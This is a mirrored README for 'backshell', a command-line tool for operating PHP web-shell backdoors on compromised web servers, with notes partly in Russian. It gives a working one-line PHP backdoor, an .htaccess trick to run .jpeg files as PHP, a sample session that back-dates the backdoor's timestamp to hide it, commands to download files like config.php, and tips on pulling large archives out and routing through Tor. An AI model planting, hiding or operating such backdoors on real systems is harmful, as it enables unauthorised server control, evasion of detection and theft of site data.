Coder Social home page Coder Social logo

backshell's Introduction

BackShell by s3rgeym

Downloads Downloads Downloads

Command-line tool for backdoor exploitation.

$ pip install backshell

$ backshell 'https://vuln.com/path/to/backdoor.php'
 ____             _     ____  _          _ _
| __ )  __ _  ___| | __/ ___|| |__   ___| | |
|  _ \ / _` |/ __| |/ /\___ \| '_ \ / _ \ | |
| |_) | (_| | (__|   <  ___) | | | |  __/ | |
|____/ \__,_|\___|_|\_\|____/|_| |_|\___|_|_|
v0.1.1 by s3rgeym

Type 'help' for more information.
backshell> touch -a -m -t 201705030100.12 backdoor.php

backshell> ls -lah
total 36K
drwxr-xr-x  5 <vanished> <vanished> 4.0K Aug  4 00:26 .
drwxr-xr-x 18 <vanished> <vanished> 4.0K Jan 17  2018 ..
-rw-r--r--  1 <vanished> <vanished>  533 May  3  2017 .jshintrc
-rw-r--r--  1 <vanished> <vanished> 2.7K May  3  2017 Gruntfile.js
-rw-r--r--  1 <vanished> <vanished>   47 May  3  2017 backdoor.php
drwxr-xr-x  4 <vanished> <vanished> 4.0K May  3  2017 images
drwxr-xr-x  4 <vanished> <vanished> 4.0K May  3  2017 js
-rw-r--r--  1 <vanished> <vanished>  466 May  3  2017 package.json
drwxr-xr-x  2 <vanished> <vanished> 4.0K May  3  2017 resource

backshell> ps -aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
<vanished>  786766  0.1  0.0 382984 24116 ?        Ss   00:45   0:00 lsphp
<vanished>  787446  0.0  0.0 383416 10240 ?        Ss   00:46   0:00 <vanished>
<vanished>  787447  0.0  0.0   9776  1140 ?        S    00:46   0:00 sh -c ps -aux 2>&1
<vanished>  787448  0.0  0.0  49836  1652 ?        R    00:46   0:00 ps -aux

backshell> exit

Backdoor example:

<?php @passthru(base64_decode($_REQUEST['c']));

Base64 нужен для обхода magic_quotes_gpc = On, который до сих пор много где включен, а так же для работы с бинарными данными в Node.js и т.п.

Такой простой бекдор, конечно, быстро спалят.

.htaccess:

AddType application/x-httpd-php .jpeg

Теперь файлы с расширением .jpeg будут выполняться как php.

Examples

# Help
backshell> help

# Download file from server
backshell> download config.php
Saved as XXXX.config.php

# Upload file to server
backshell> upload script.php

# Edit file on server
backshell> edit index.php

Ограничения

Так как каждый раз запускается новая сессия шелл, то такие команды как cd работают не так как ожидается:

backshell> cd /tmp; echo $PWD
/tmp

backshell> pwd
/path/to/backdoor

Решения:

  • При запуске backshell указывать аргумент --cwd;
  • Использовать команду шелла cwd.

Так же не будут работать интерактивные команды типа less и др.

Ограничение на длинну команды:

$ getconf ARG_MAX
2097152

Чтобы скачать файл большого размера либо каталог, упакуйте его с помощью tar, переместите его в ассеты и выкачайте архив curl/wget.

Вызов команды edit при работе через torify приводит к ошибке:

1596550567 WARNING torsocks[373221]: [syscall] Unsupported syscall number 217. Denying the call (in tsocks_syscall() at syscall.c:567)

Это баг torsocks и хз когда его исправят.

backshell's People

Contributors

s3rgeym avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.